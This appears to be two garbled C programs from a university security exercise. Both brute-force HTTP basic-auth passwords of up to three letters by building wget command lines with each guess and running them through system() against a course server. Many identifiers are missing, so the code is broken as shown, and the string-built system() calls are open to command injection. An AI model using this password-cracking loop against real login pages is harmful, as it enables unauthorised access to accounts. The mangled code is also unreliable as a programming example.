#include<stdio.h>
#include<stdlib.h>
#include<string.h> 
#include <ctype.h>
#include <sys/time.h>


#define SUCCESS 0;
#define FAILURE 1;
#define SECONDS 1e9

int findPassword(char *);
int smallPass();
int capsPass();

int main()
{
	int foundP;	
	foundP=smallPass();
	foundP=capsPass();
	if(foundP == 2)
	{		
		return SUCCESS;
	}
	printf("\n PASSWORD NOT FOUND");
	return SUCCESS;
  
}

int smallPass()
{
	char [26] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};	
	char pass[3]="";	
	int i,j,k,l;
	int incr;
	int found;
	int , end, final;	
	
	 = time();
	for(j=0;j<3;j++)
	{
		incr=0;		
		for(i=0;i<=25;i++)
		{				
			if(j==0)
			{	
				incr++;
				pass[j]=[i];
				printf("\n Trial  %d  ---  %s ",incr,pass);
				found = findPassword(pass);
				if(found == 2)
				{	
					end = time();
					final = end-;
					printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
					printf("\nPASSWORD FOUND   --   %s",pass);				
					return 2;
				}
				
			}
			if(j==1)
			{				
				pass[j-1]=[i];
				for(k=0;k<=25;k++)
				{
					incr++;
					pass[j] = [k];
					printf("\n Trial  %d  ---  %s ",incr,pass);
					found = findPassword(pass);
					if(found == 2)
					{	
						end = time();
						final = end-;
						printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
						printf("\nPASSWORD FOUND   --   %s",pass);			
						return 2;
					}	
				}
			}
			if(j==2)
			{						
				pass[j-2]=[i];
				for(k=0;k<=25;k++)
				{
					pass[j-1] = [k];
					for(l=0;l<=25;l++)
					{
						incr++;
						pass[j] = [l];
						pass[j+1]='\0';
						printf("\n Trial  %d  ---  %s ",incr,pass);
						found = findPassword(pass);
						if(found == 2)
						{	
							end = time();
							final = end-;
							printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);					
							printf("\nPASSWORD FOUND   --   %s",pass);						
							return 2;
						}
					}	
				}
			}		
			
			
		}
	}
	
	return SUCCESS;	
}



int capsPass()
{
	char caps[26] ={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};	
	char pass[3]="";	
	int i,j,k,l;
	int incr;
	int found;
	int , end, final;	
	
	 = time();
	for(j=2;j<3;j++)
	{
		incr=0;
		for(i=0;i<=25;i++)
		{
				
			if(j==0)
			{	
				incr++;
				pass[j]=caps[i];
				printf("\n Trial  %d  ---  %s ",incr,pass);
				found = findPassword(pass);
				if(found == 2)
				{	
					end = time();
					final = end-;
					printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
					printf("\nPASSWORD FOUND   --   %s",pass);				
					return 2;
				}
				
			}
			if(j==1)
			{				
				pass[j-1]=caps[i];
				for(k=0;k<=25;k++)
				{
					incr++;
					pass[j] = caps[k];
					printf("\n Trial  %d  ---  %s ",incr,pass);
					found = findPassword(pass);
					if(found == 2)
					{	
						end = time();
						final = end-;
						printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
						printf("\nPASSWORD FOUND   --   %s",pass);			
						return 2;
					}	
				}
			}
			if(j==2)
			{				
				pass[j-2]=caps[i];
				for(k=0;k<=25;k++)
				{
					pass[j-1] = caps[k];
					for(l=0;l<=25;l++)
					{
						incr++;
						pass[j] = caps[l];
						pass[j+1]='\0';
						printf("\n Trial  %d  ---  %s ",incr,pass);
						found = findPassword(pass);
						if(found == 2)
						{	
							end = time();
							final = end-;
							printf(" %lld nanoseconds (%1f seconds)  find the Password\n",final,(double) final / SECONDS);
							printf("\nPASSWORD FOUND   --   %s",pass);						
							return 2;
						}
					}	
				}
			}		
			
			
		}
	}
	
	return SUCCESS;	
}


int findPassword(char *pass)
{
	char var[50]="";	
	char [50]="";
	strcpy(var,"wget --non-verbose --http-user= --http-passwd=");		
	strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	strcat(var,pass);
	strcat(var,);
	if(system(var)==0)
	{		
		return 2;
	}	
		
	return SUCCESS;
}


	 

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
				  


#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52

#define TRUE 1
#define FALSE 0








typedef int (*CrackFuncPtr)(const char*, const char*);

int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);

int ()
{
	char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
							'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 
							'W', 'X', 'Y', 'Z',
							'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
							'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
							'w', 'x', 'y', 'z'};
	
	char charSetS[] = {'A', 'B', 'C'};

	int i; 
	
	for (i=1; i<=MAX_PASSWD_LEN; i++)
	{
		if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
		{
			return 0;
		}
	}

	printf("\n...password not found\n");							 	
	return 0;
}

int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
	int iter; 
	int chIter; 
	int curPos = 0; 
	
	char *str;
	
	int passwdFound = FALSE;
	
	str = initPasswdStr(len, chSet[0]);

	printf("\nNow trying %d character(s)\n", len);


	for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
	{
		for (chIter=len-1; chIter>=0; chIter--)
		{
			if (iter % pow(numOfCh, chIter) == 0) 
			{
				curPos = getChPos(chSet, numOfCh, str[chIter]);
				str[chIter] = chSet[curPos+1];
			}

			if (iter % pow(numOfCh, (chIter+1)) == 0) 
			{
				str[chIter] = chSet[0];
			}
		}
		
		if (func(USERNAME, str))
		{
			printf("\nPassword found: %s\n", str);
			passwdFound = TRUE;
		}

		
		printf(".");
					
	}

	(str);
	str = NULL;

	return passwdFound;
}

int getChPos(const char chSet[], int numOfCh, char ch)
{
	int i;
	
	for (i=0; i<numOfCh; i++)
	{
		if (chSet[i] == ch)
		{
			return i;
		}
	}

	return -1;
	
}

char* initPasswdStr(int len, char ch)
{
	int i;

	char *str;

	str = malloc(len);

	if (str)
	{
		for (i=0; i<len; i++)
		{
			str[i] = ch;
		}
		str[len] = '\0';
	}
	else
	{
		fprintf(stderr, "\nError: Unable  allocate %d bytes memory.");
		exit(1);
	}
	
	return str;
}

int pow(int x, int y)
{
	int ans = 1, i;
	
	for (i=0; i<y; i++)
	{
		ans *= x;
	}

	return ans;
}

int crackHTTPAuth(const char *username, const char *passwd)
{
	char cmd[256];
	struct stat fileInfo;
	
	sprintf(cmd, "wget -O  -q --http-user=%s --http-passwd=%s --proxy=off %s", 
						username, passwd, URL);

	system(cmd);	

	(void)stat("", &fileInfo); 

	return fileInfo.st_size;
	
}

